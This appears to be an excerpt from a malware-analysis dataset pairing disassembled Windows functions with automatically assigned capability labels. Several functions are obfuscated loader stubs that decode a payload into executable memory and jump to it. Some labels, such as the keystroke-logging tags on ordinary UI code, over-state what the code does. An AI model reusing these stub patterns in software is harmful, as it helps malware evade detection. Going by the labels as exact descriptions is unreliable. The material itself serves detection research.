joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013074
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x10013083
pop dword [ebp - 0x14]
mov eax, 0x269338b6
add eax, 0xe96df7cd
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xddb93e3d
sub dword [ebp - 0x24], 0x8f66f8f2
mov dword [ebp - 0x20], 0xa2fa9c75
sub dword [ebp - 0x20], 0x70c75030
mov dword [ebp - 0x1c], 0xcf8e7090
add dword [ebp - 0x1c], 0x7cbdd39e
mov dword [ebp - 0x18], 0xbef6247f
sub dword [ebp - 0x18], 0xbef6247f
lea eax, [ebp - 0x24]
push eax
mov eax, 0xdd3625d6
sub eax, 0xcd34d53e
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x7cfc3686
add dword [ebp - 0x24], 0xf77632d0
mov dword [ebp - 0x20], 0x7a87a92d
sub dword [ebp - 0x20], 0x391b47b8
mov dword [ebp - 0x1c], 0xd1a98ff0
add dword [ebp - 0x1c], 0x91c5dc7c
mov dword [ebp - 0x18], 0x2fd27d13
sub dword [ebp - 0x18], 0x2fd27d13
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xfeb69dc
add eax, 0x15e6c0
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x398b8
push 0
call eax
mov ecx, 0x6c616433
add ecx, 0x939ee76f
xor ebx, ebx
add ebx, eax
mov esi, 0x10041c00
add esi, dword [ebp - 0x14]
mov edx, 0xa328d234
add edx, 0x43a72887
sub dword [ebp - 8], edi
mov edi, dword [esi]
xor dword [ebp - 0x10], 0x141c48ed
sub edi, edx
add dword [ebp - 4], 0xdd721a61
mov dword [ebx], edi
add ebx, 0xaa8ca527
add ebx, 0x55735add
add esi, 0xa7248dcb
sub esi, 0xa7248dc7
loop 0x100131a1
add eax, 0x956c82c7
add eax, 0x6a949e94
xor ebx, ebx
add ebx, eax
add eax, 0xc8f31299
sub eax, 0xc8f31294
mov ecx, 0x686acf2c
add ecx, 0xa79530d4
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4044e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x4044ef
pop dword [ebp - 0x38]
mov eax, 0xaffb4c38
sub eax, 0xafbb0749
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xa6f94a34
add dword [ebp - 0x48], 0xa758fb17
mov dword [ebp - 0x44], 0x29e8d986
add dword [ebp - 0x44], 0x84a72bf
mov dword [ebp - 0x40], 0x4504a99b
sub dword [ebp - 0x40], 0xf8b8656d
mov dword [ebp - 0x3c], 0xcdd1361f
sub dword [ebp - 0x3c], 0xcdd1361f
lea eax, [ebp - 0x48]
push eax
mov eax, 0x62350660
add eax, 0x9e0c2a38
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xeddb8835
add dword [ebp - 0x48], 0x8696e121
mov dword [ebp - 0x44], 0xa389e014
add dword [ebp - 0x44], 0x9de28161
mov dword [ebp - 0x40], 0x82b578e6
add dword [ebp - 0x40], 0xe0b9f386
mov dword [ebp - 0x3c], 0xb61a26cd
sub dword [ebp - 0x3c], 0xb61a26cd
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xa3fbb10a
sub eax, 0xa3ba80d2
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x39203
push 0
call eax
mov ecx, 0xd38c3169
add ecx, 0x2c741689
mov esi, eax
mov edi, 0xbde6ac52
sub edi, 0xbda50852
add edi, dword [ebp - 0x38]
mov edx, 0x7e5ec4fc
xor dword [ebp - 0x14], 0xeac443c0
mov ebx, dword [edi]
add dword [ebp - 8], esi
xor ebx, edx
mov dword [esi], ebx
add dword [ebp - 8], 0xacf3e73
add esi, 0xc34bba04
sub esi, 0xc34bba00
add edi, 0x174b889d
add edi, 0xe8b47767
loop 0x40460b
add eax, 0x7f333ead
add eax, 0x80cdd3ee
mov ebx, eax
add eax, 0x4869bdd9
sub eax, 0x4869bdd4
mov ecx, 0x249e4b7b
sub ecx, 0x245e4b7b
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x407a60
Capabilities:
Link many functions at runtime

Disassembly:
push edi
mov edi, ecx
cmp dword [edi + 0x34], 0
jne 0x407b30
push ebx
push esi
push str.mapi32.dll
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push 0xc
mov dword [edi + 0x18], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x407ad0
xorps xmm0, xmm0
movq qword [ebx], xmm0
push str.MAPIFreeBuffer
mov dword [ebx + 8], 0
push dword [edi + 0x18]
call esi
push str.MAPIAllocateBuffer
push dword [edi + 0x18]
mov esi, eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [ebx + 8], esi
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [ebx], vtable.MapiAllocator.0
mov dword [ebx + 4], eax
jmp 0x407ad2
xor ebx, ebx
push str.MAPIInitialize
push dword [edi + 0x18]
mov dword [edi + 0x1c], ebx
call esi
push str.MAPIUninitialize
push dword [edi + 0x18]
mov dword [edi + 0x24], eax
call esi
push str.MAPILogonEx
push dword [edi + 0x18]
mov dword [edi + 0x28], eax
call esi
push str.MAPIAdminProfiles
push dword [edi + 0x18]
mov dword [edi + 0x2c], eax
call esi
mov dword [edi + 0x30], eax
mov eax, dword [edi + 0x24]
pop esi
pop ebx
test eax, eax
je 0x407b30
cmp dword [edi + 0x28], 0
je 0x407b30
cmp dword [edi + 0x2c], 0
je 0x407b30
push 0
call eax
mov dword [edi + 0x14], eax
test eax, eax
js 0x407b30
mov dword [edi + 0x34], 1
pop edi
ret
Function at 0x100193bc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100193cb
pop dword [ebp - 0x10]
mov eax, 0x87d1f0e3
add eax, 0x882fa2e8
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x827469d
sub dword [ebp - 0x20], 0xb9d50152
mov dword [ebp - 0x1c], 0x2d6258b7
add dword [ebp - 0x1c], 0x4d0f38e
mov dword [ebp - 0x18], 0x3b28a81c
add dword [ebp - 0x18], 0x11239c12
mov dword [ebp - 0x14], 0x1911561e
add dword [ebp - 0x14], 0xe6eea9e2
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xc96730ff
add dword [ebp - 0x20], 0xab0b3857
mov dword [ebp - 0x1c], 0x3a42f585
add dword [ebp - 0x1c], 0x7296bf0
mov dword [ebp - 0x18], 0xa8781164
add dword [ebp - 0x18], 0xbaf75b08
mov dword [ebp - 0x14], 0xc38632b5
sub dword [ebp - 0x14], 0xc38632b5
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x38416
push 0
call eax
mov ecx, 0x68d7c01c
add ecx, 0x9728887a
mov edx, eax
mov ebx, 0x40cbde20
add ebx, 0xcf373de0
add ebx, dword [ebp - 0x10]
mov esi, 0x49691dc8
add esi, 0x3088edb6
sub dword [ebp - 8], ecx
mov edi, dword [ebx]
sub dword [ebp - 8], esi
sub edi, esi
xor dword [ebp - 4], edi
mov dword [edx], edi
add dword [ebp - 4], 0x98751612
add edx, 0x7b70e277
add edx, 0x848f1d8d
add ebx, 4
loop 0x100194e3
add eax, 0xea449203
add eax, 0x15bc8328
mov ebx, eax
add eax, 0x927d336c
add eax, 0x6d82cc99
mov ecx, 0xf74028c6
sub ecx, 0xe74028c6
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x402fec
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x456020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403084
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403064
xor eax, eax
push ebp
push 0x40305d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4030a0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403064
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x456020]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x456020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403d60
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x458048], 0
je 0x403dc1
cmp word [0x45821c], 0xd7b2
jne 0x403d89
cmp dword [0x458224], 0
jbe 0x403d89
mov eax, 0x458218
call dword [0x458234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x45606c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403de8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x456030], 0
jne 0x403ddd
push 0
push 0x456064
push 0x45606c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405168
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405398
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4051eb
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405398
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4051eb
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4053b4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405274
xor eax, eax
push ebp
push 0x40526d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00404fa4
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405252
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4053d4
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405252
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405274
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x40538e
cmp byte [ebp - 0xd], 0
jne 0x4052bb
cmp byte [ebp - 0x12], 0
je 0x40538e
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x4052d4
dec ebx
cmp byte [ebx], 0x2e
je 0x4052e3
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x4052d3
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x40538e
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405320
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x40538e
cmp byte [ebp - 0xd], 0
je 0x40538e
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x40538e
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405a64
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405aca
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404150
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402bc4
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405ab4
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405ad1
lea eax, [ebp - 0x10]
call fcn.00403ee0
ret

Function at 0x40aa60
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40aa99
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403fd0
jmp 0x40aaa2
mov eax, ebx
mov edx, esi
call fcn.00403f34
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40aaac
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40aace
movzx eax, byte [esp]
jmp 0x40aad0
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40b160
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40afd8
mov eax, dword [0x457304]
cmp byte [eax], 0
je 0x40b1dc
mov eax, dword [0x45713c]
call fcn.004029b4
call fcn.00402834
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004082e4
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40b224
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40b212
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4570e4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x458664]
call fcn.00404f4c
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40ba70
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40bb46
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00403f78
lea eax, [ebp - 4]
call fcn.004043f0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004043a0
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40bb30
mov eax, ebx
call fcn.004026cc
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40bb29
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004043a0
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40bb13
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40bb58
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40bb13
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bb30
mov eax, dword [ebp - 0x10]
call fcn.004026ec
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bb4d
lea eax, [ebp - 4]
call fcn.00403ee0
ret

Function at 0x41a4f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x458888
cmp dword [edi], 0
jne 0x41a56c
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x458884]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4563e8
mov ecx, 2
call fcn.004028c8
mov edx, 0x41a4c8
lea eax, [esi + 5]
call fcn.0041a4e8
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041a4e8
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41a541
mov dword [0x458884], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41ae34
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.004043a0
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x41ae8c
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x457414]
mov dl, 1
mov eax, dword [0x41a834]
call fcn.0040b320
call fcn.00403928
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0041a93c
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x41beb8
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41bebe
ret
Function at 0x42eb04
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x458ae4], 0
je 0x42ec4d
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x4572a8]
mov edx, dword [edx]
xor al, byte [edx + 0xbc]
je 0x42ec4d
mov eax, dword [0x458ae8]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x458ae4]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x42ec1c
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x458ae4]
call fcn.0041368c
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x42ec14
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1ae], 0
je 0x42ec14
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x42ec14
mov eax, dword [ebp - 0x14]
call fcn.00437f9c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x42ec14
push ebp
call fcn.0042eac0
pop ecx
test al, al
jne 0x42ec14
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbc
call fcn.00403370
test al, al
je 0x42ec14
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.00403370
cmp byte [ebp - 1], 0
je 0x42ec14
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x42ec14
mov edx, dword [ebp - 0x14]
mov eax, dword [0x458ae8]
call fcn.0042e21c
inc edi
dec ebx
jne 0x42eb69
mov eax, dword [0x458ae8]
cmp dword [eax + 8], 0
jle 0x42ec34
mov eax, dword [0x458ae8]
call fcn.0042e2d4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x42ec4d
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0042e924
pop ecx
test al, al
jne 0x42ec4d
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4323d8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x432426
xor edx, edx
mov eax, esi
call fcn.00448cdc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x432426
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x268], 0
je 0x432426
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x268]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x432567
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x432468
cmp eax, 0x109
ja 0x432468
mov dl, 1
mov eax, esi
call fcn.00448cdc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x43255e
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xfc]
test al, al
jne 0x432567
jmp 0x43255e
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x432547
cmp eax, 0x20a
ja 0x432547
test byte [esi + 0x50], 0x80
jne 0x43249a
sub eax, 0x203
je 0x432497
sub eax, 3
je 0x432497
sub eax, 3
jne 0x43249a
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x4324ae
dec eax
je 0x4324c3
dec eax
je 0x4324e0
dec eax
je 0x4324c3
jmp 0x4324e7
mov ecx, ebx
mov eax, dword [0x4572a8]
mov eax, dword [eax]
mov edx, esi
call fcn.00453454
jmp 0x43255e
cmp byte [esi + 0x5d], 1
jne 0x4324d9
mov eax, esi
mov si, 0xffed
call fcn.00403370
jmp 0x432567
or word [esi + 0x54], 1
jmp 0x43255e
and word [esi + 0x54], 0xfffe
jmp 0x43255e
mov eax, dword [0x458aa0]
cmp byte [eax + 0x20], 0
je 0x43255e
mov eax, dword [0x458aa0]
cmp dword [eax + 0x1c], 0
je 0x43255e
mov eax, dword [ebx]
mov edx, dword [0x458aa0]
cmp eax, dword [edx + 0x1c]
jne 0x43255e
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.00448c20
mov byte [ebp - 0xc], al
movzx eax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.00403370
jmp 0x432567
cmp eax, 0xb00b
jne 0x43255e
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.00430c50
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4354a8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffed8
mov ebx, ecx
mov edi, edx
mov esi, eax
call sub.user32.dll_GetMessagePos
call fcn.00405d58
mov dword [esp + 8], eax
movsx eax, word [esp + 8]
mov dword [esp + 0xc], eax
movsx eax, word [esp + 0xa]
mov dword [esp + 0x10], eax
mov ecx, esp
lea edx, [esp + 0xc]
mov eax, esi
call fcn.00430bf4
test ebx, ebx
jne 0x4354fb
push 0
push 0
lea edx, [esp + 8]
xor ecx, ecx
mov eax, esi
call fcn.004353e4
mov ebx, eax
test ebx, ebx
je 0x4355e6
cmp esi, ebx
je 0x435524
mov eax, dword [esp]
sub eax, dword [ebx + 0x40]
mov dword [esp + 0x114], eax
mov eax, dword [esp + 4]
sub eax, dword [ebx + 0x44]
mov dword [esp + 0x118], eax
jmp 0x435539
mov eax, dword [esp]
mov dword [esp + 0x114], eax
mov eax, dword [esp + 4]
mov dword [esp + 0x118], eax
movzx eax, word [edi + 8]
mov dword [esp + 0x11c], eax
mov eax, dword [edi + 4]
mov dword [esp + 0x124], eax
movzx eax, word [edi + 0xa]
cmp eax, 0x201
jge 0x435571
add eax, 0xffffff5f
sub eax, 2
jb 0x435589
dec eax
sub eax, 2
jb 0x43559d
dec eax
sub eax, 2
jb 0x435593
jmp 0x4355a7
add eax, 0xfffffdff
sub eax, 2
jb 0x435589
dec eax
sub eax, 2
jb 0x43559d
dec eax
sub eax, 2
jb 0x435593
jmp 0x4355a7
mov byte [esp + 0x120], 0
jmp 0x4355af
mov byte [esp + 0x120], 2
jmp 0x4355af
mov byte [esp + 0x120], 1
jmp 0x4355af
mov byte [esp + 0x120], 0
lea eax, [esp + 0x14]
push eax
call sub.user32.dll_GetKeyboardState
lea eax, [esp + 0x14]
call fcn.00448c20
mov byte [esp + 0x121], al
lea eax, [esp + 0x114]
push eax
xor ecx, ecx
mov edx, 0xb04b
mov eax, ebx
call fcn.00432308
mov dword [edi + 0xc], eax
mov al, 1
jmp 0x4355e8
xor eax, eax
add esp, 0x128
pop edi
pop esi
pop ebx
ret